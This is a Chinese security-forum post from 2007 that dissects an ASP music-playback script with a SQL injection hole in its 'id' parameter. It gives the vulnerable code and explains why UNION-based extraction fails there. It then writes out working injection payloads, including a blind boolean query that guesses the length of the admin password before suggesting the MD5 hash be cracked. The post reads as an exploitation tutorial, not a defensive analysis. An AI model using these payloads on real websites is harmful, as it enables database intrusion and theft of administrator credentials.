查看: 1403|回复: 0
收起左侧

分析一段有注射漏洞的asp代码时的小挫折

[复制链接]
yxwxqflbyg
发表于 2007-9-15 05:58:57 | 显示全部楼层 |阅读模式
在网上看到了一段代码:(后面是我做关键部分的解释)
<!--#include file="../user/conn.asp"-->
<!--#include file="Path.Asp"-->
<ASX version = "3.0">
<%
id1=replace(request("id"),"","")        ‘replace函数做简单的过滤,其实没效果的
if id1<>"" then                ’判断id1是否为空
set rs=server.createobject("adodb.recordset")
id=id1
sql="select * from MusicList where id in (" & id & ")"  ‘看仅仅判断是否为空就带入了sql语 句 查询,这个简单,大家都会
rs.open sql,conn,1,3
rs("hits")=rs("hits")+1    ’问题就出在这里,这一句,后面详细解释
rs.update
songpath=rs("song_path")
If s or IsNull(songpath) Then   
后面的就不怎么有关了,就不详细分析了。
songpath=1
End If
select Case songpath
Case 1
song_path=song_path1
Case 2
song_path=song_path2
Case 3
song_path=song_path3
Case 4
song_path=song_path4
Case 5
song_path=song_path5
Case 6
song_path=song_path6
Case 7
song_path=song_path7
End select
song_path=song_path&rs("Wma")
---------------------部分代码省略
看下这段代码,有学过asp的人,这个不是很明显的没有过滤注入产生了?没错,我当时一眼就说存在注射,可是我后面又仔细看了~,看到了这行
rs("hits")=rs("hits")+1
rs.update
注意到没,这句就使我们的union无处可用了,因为那个出来是不可写的。那么我们只有通过构造经典的sql语句了,看我构造:
id=1) sql and 1 in (1
前后的保证出来的有记录,加上中间加我们自己的sql语句,就可以注射了.假设这里关键表是admin,字段有 password , username
那么就可以这样写了:
id=1) and (select top 1 len(password) from admin)=16 and 1 in (1
出来的一般是面的md5加密的,去跑下,后面的自己看了小问题,解决就好了,不过不注意还是不行的~~~
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-12-25 22:11 , Processed in 0.120962 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表